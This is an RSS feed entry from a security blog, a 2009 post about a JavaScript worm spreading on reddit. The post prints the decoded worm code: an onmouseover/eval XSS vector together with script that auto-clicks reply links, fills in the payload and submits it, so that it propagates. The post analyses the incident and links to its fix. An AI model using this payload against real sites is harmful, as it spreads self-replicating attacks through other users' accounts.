<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>insanesecurity &#187; Worm</title>
	<atom:link href="http://insanesecurity.info/blog/tag/worm/feed" rel="self" type="application/rss+xml" />
	<link>http://insanesecurity.info/blog</link>
	<description>security through a distorted eye</description>
	<lastBuildDate>Thu, 25 Feb 2010 22:31:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Reddit worm, oh boy&#8230;</title>
		<link>http://insanesecurity.info/blog/reddit-worm-oh-my</link>
		<comments>http://insanesecurity.info/blog/reddit-worm-oh-my#comments</comments>
		<pubDate>Mon, 28 Sep 2009 04:03:42 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Worm]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=264</guid>
		<description><![CDATA[As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I&#8217;m suddenly starting to get error pages&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I&#8217;m suddenly starting to get error pages&#8230;<br />
<code><br />
An error occurred while processing your request.<br />
Reference #97.27c37259.1254106488.35b1d0e<br />
</code></p>
<p>The (decoded) code of the worm is the following:</p>
<pre>
// generate payload/attack vector
// having trouble understanding why this works

z="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";

// and what's with the 9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d ?

// "click" all reply links in page
o=document;
e=o.getElementsByTagName('a');
for(i=0;i&lt;e.length;i++)
    if(e[i].innerHTML=='reply')
        $(e[i]).click();

// fill with payload
o=document;
e=o.getElementsByTagName('textarea');
for(i=0;i&lt;e.length;i++)
    e[i].value=z;

// submit
e=o.getElementsByTagName('button');
for(i=0;i&lt;e.length;i++)
    if(e[i].innerHTML=='save'&#038;&#038;e[i].style.display!='none')
        $(e[i]).click();
</pre>
<p>In the meantime of writing the article I tried to look for the invalid filtering in the source code, but as touching for the first time the code had no sense of direction. If someone would be kind enough to enlighten me in which file the code resides I&#8217;d be more than happy.</p>
<p>If not, we&#8217;ll have an unsolved mystery :)</p>
<p><strong>UPDATE</strong>: worm author has happily <a href="http://www.reddit.com/r/IAmA/comments/9ox75/i_found_and_wrote_the_exploit_which_crashed/c0dqwzs">shared its way of evading the filter</a>.</p>
<p><strong>UPDATE 2</strong>: <a href="http://blog.reddit.com/2009/09/we-had-some-bugs-and-it-hurt-us.html">post about the bug on the reddit blog</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/reddit-worm-oh-my/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
